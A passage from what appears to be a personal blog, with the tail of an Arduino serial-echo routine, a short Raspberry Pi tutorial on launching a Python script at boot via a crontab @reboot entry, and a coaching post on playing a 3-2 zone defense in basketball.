  digitalWrite(5, !digitalRead(5));
  byte data = Serial.read();

  // Echo data back to developer ;-)

  Serial.print(data);

  // Job done.

  inService = false;
}

August 21, 2014

Raspberry Pi - run a script from boot up using Crontab

1. First is add a SHEBANG line on top of your python script
#!/usr/bin/env python

2. Make your script executable with
chmod a+x

3. Open crontab with
sudo crontab -e

4. Add the following line. Make sure to include the full path to the script (MyScript.py is the name of your script)
@reboot python /home/pi/Desktop/MyScript.py &

5. To save these changes click “CTRL-X”, then “Y” and finally “Return”. You should now be back at the command prompt.

To start testing you can now reboot

May 4, 2014

Basketball defense 3-2 : my take

Enough of the nonsense by wannabe coaches that I met. I think the following defense is great, especially for a team with many guards...which is quite frequent in Malaysia.






Case 1 : Starting position.

Common mistakes : Defender No 1 is not pressuring the ball handler enough. No 4 and No 5 not taking middle threat early.

Should do : No 1 should always pressure the ball handler closely but giving up no penetration. For No 4 and No 5, once an opponent cuts through the paint area near highpost or free throw line or paint area in general, the weakside low post defender (one of the lost post defender only) should already body check the cutter, making him useless. In some cases where the opponent is not really good, give him space so that he will get the ball and check him right after - this almost always return a turnover.


Case 2 : Ball is swung to the 45.

Common mistakes : The weakside defenders stick to defending the weakside (which no one there has the ball - no threat) instead of clogging the paint area.

Should do : The wing closest to the ball should close up and pressure the ball. The weakside defenders (both wing and low post defenders should retreat closer to the paint. Yes, giving the weakside opponents some space. At this moment, they don't have the ball - no threat. A long pass from wing to wing is always easy to intercept. Being away from these weakside wings will highly encourage that long pass.


Case 3 : Ball is swung all the way to the corner.

Common mistakes : Instead of the low post defender, the wing is the one that actually go for the corner defense. Also, if one of the low post defender go for the corner defense, the other low post defender did not move to replace his spot at the low post area strongside (but stick to his original spot on the weakside).

Should do : The closest low post defender should leave his spot and go all the way to challenge the opponent with the ball at the corner. The other low post defender should replace his spot in paint area (thus, leaving the weakside spot entirely). The weakside wings should clog the free throw line area, despite having the shooters at 45 weakside (again, we want to encourage the long pass to the weakside wing, by any chance)